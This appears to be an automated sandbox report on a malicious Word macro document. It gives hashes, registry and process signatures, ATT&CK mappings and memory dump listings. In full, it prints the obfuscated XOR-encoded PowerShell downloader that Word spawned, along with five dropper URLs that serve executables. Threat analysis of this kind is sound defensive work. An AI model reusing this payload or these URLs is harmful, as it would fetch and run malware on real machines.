4f0bb94fa14926b05d3da90d10792207ae3555da2b98044b62da97d42b603fe4

Analysis

max time kernel
138s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 22:53

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General

Target

852fc4978a99b4ecdd7516cf6e264def_JaffaCakes118.doc
Size

246KB
MD5

852fc4978a99b4ecdd7516cf6e264def
SHA1

aa5367684c2128a303d2560a5bd07205edbe4400
SHA256

4f0bb94fa14926b05d3da90d10792207ae3555da2b98044b62da97d42b603fe4
SHA512

c1a590d6d251993bf67c255f1062fd379eee2712ae1e02204ad158230cada8f514d5e2e562bdb9a6ac2ee513853edead595ab6c44902a269997ac529056fd780
SSDEEP

3072:WH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5AyXJm9YBmjDzelOP3l0zTq:WFVeEsjdXRC3jexGG63YWofzes3azTq

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.dinafiler.se/0mG1fU7ud/

exe.dropper

http://www.atfaexpo.vn/Messages-2018/f7fc54gDI/

exe.dropper

http://anantaawellness.com/TFLLjCZ/

exe.dropper

http://www.salmix.com.br/6k7mXEEF/

exe.dropper

http://www.geckochairs.com/H9gozcqlX/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1788	2012	powershell.exe	82

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	1788	powershell.exe
26	1788	powershell.exe
31	1788	powershell.exe
43	1788	powershell.exe
54	1788	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2012	WINWORD.EXE
2012	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 1788	2012	WINWORD.EXE	87
PID 2012 wrote to memory of 1788	2012	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\852fc4978a99b4ecdd7516cf6e264def_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . ( $PsHOMe[4]+$pShOme[34]+'x')( ( '14s72%123A108,23t68%79A93_7f69A72%64,79,73_94z10X100u79A94,4t125u79s72%105t70A67f79t68t94f17,14u78,105_71%23,13A66s94t94X90z16t5A5X93,93f93,4f78A67_68X75_76u67u70f79s88f4f89,79u5s26u71z109u27t76,127%29u95z78u5,106z66,94X94u90,16%5A5,93s93,93s4f75f94,76f75s79_82A90z69%4,92t68%5z103,79f89u89_75f77X79,89s7_24_26z27f18,5,76A29_76A73s31X30%77u110X99X5s106z66z94t94t90u16z5A5s75z68,75f68z94f75u75A93s79z70t70,68u79X89s89z4X73u69A71t5f126u108_102s102,64_105%112,5u106s66f94_94f90%16X5z5,93_93,93,4t89f75t70A71A67z82,4z73%69A71u4A72z88u5t28_65z29_71t114z111f111u108t5A106u66X94t94%90,16,5,5X93z93_93,4_77_79u73%65f69%73u66s75A67s88_89f4z73,69z71X5t98X19t77f69%80z73X91,70X114_5A13X4%121z90u70A67u94,2u13A106,13u3%17%14A80z112f98X10%23,10_13,18t29z25,13t17z14X110,94f88,23X14f79X68f92s16_94t79X71f90X1f13A118u13f1f14s80s112s98u1u13%4u79u82,79A13s17,76A69,88f79%75A73u66t2z14X126s91u80u10f67u68s10u14z78%105t71,3X81,94f88f83X81f14z72t123A108A4t110_69z93A68f70_69,75t78z108X67s70s79u2X14t126_91s80_6f10%14,110X94,88z3z17f121A94u75X88,94,7t122f88%69A73u79t89_89u10u14f110z94X88s17z72%88t79,75z65u17u87%73X75A94A73t66A81f87u87' -split 'Z' -spLit'U'-spLIt'F' -SPLiT't' -SPLit','-sPlit'_' -sPLIT'S'-sPlIt'X' -SpLIT'%'-SpLit 'a'|FOREaCh{ [CHaR]( $_ -BXOr'0x2A' )})-jOiN'' )
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDF662.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjnz2tcx.lex.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1788-40-0x000001C7F1A60000-0x000001C7F1A82000-memory.dmp

Filesize
136KB

Download
memory/2012-18-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-15-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-5-0x00007FFDCC4CD000-0x00007FFDCC4CE000-memory.dmp

Filesize
4KB

Download
memory/2012-8-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-7-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-37-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-9-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp

Filesize
64KB

Download
memory/2012-10-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-12-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-11-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-13-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp

Filesize
64KB

Download
memory/2012-14-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-16-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-20-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-21-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-22-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-19-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-2-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-1-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-17-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-6-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-38-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-39-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-3-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-4-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-469-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-515-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-516-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-517-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-518-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-0-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-537-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/2012-561-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-562-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-564-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-563-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/2012-565-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download